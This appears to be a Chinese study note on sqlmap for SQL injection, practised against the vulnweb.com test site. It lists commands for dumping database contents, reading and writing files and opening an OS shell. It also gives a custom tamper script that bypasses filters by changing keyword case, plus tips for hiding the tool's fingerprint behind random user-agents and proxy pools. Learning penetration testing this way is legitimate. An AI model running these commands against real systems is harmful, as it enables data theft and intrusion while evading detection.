参考资料:https://www.cnblogs.com/bmjoker/p/9326258.html

最重要的:搞清楚数据库类型

数据猜解-库表列数据&字典

测试:http://vulnweb.com/

1
2
3
4
5
6
7
--current-db   #获取当前数据库名

--tables -D "数据库名" #获取表名

--columns -T "表名" -D "数据库名" #获取列名

--dump -C "列名" -T "表名" -D "数据库名" #获取数据

权限操作-文件&命令&交互式

测试:MYSQL高权限注入

1
2
3
4
5
6
7
8
9
10
11
12
13
#引出权限:
--is-dba #查看权限
--privileges #是否是数据库管理员

#引出文件:
--file-read #读取指定文件
--file-write #写入本地文件
--file-dest

#引出命令:
--os-cmd=ver/calc
--os-shell
--sql-shell

提交方法-POST&HEAD&JSON

测试:Post Cookie Json

1
2
3
4
5
--data ""    #表单里POST请求,抓包找数据请求,不推荐

--cookie "" #Cookie,不推荐

-r 1.txt #推荐,数据完整性。把请求标头放进文件,但其实文件里不知道注入点,可使用星号(*)标明注入点

绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入

tamper模块:里面有很多脚本,可以直接使用,查看说明书就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
--tamper=base64encode.py
--tamper=test.py

#bypass.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

#对于有过滤的语句怎么绕过,大小写替换
def tamper(payload, **kwargs):
if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('ELT','Elt')
return payload

分析拓展-代理&调试&指纹&风险&等级

1、后期分析调试:

1
2
3
-v=(0-6)  #详细的等级(0-6),4HTTP请求用的比较多

--proxy "http://xx:xx" #代理注入

2、打乱默认指纹(sqlmap特征-UA打头):

1
2
3
4
5
--user-agent ""  #自定义user-agent

--random-agent #随机user-agent

--time-sec=(2,5) #延迟响应,默认为5

3、使用更多的测试:测试Header注入

1
2
3
--level=(1-5) #要执行的测试水平等级(深度),默认为1 

--risk=(0-3) #测试执行的风险等级,默认为1

代理池:使用快代理隧道代理(价格略高)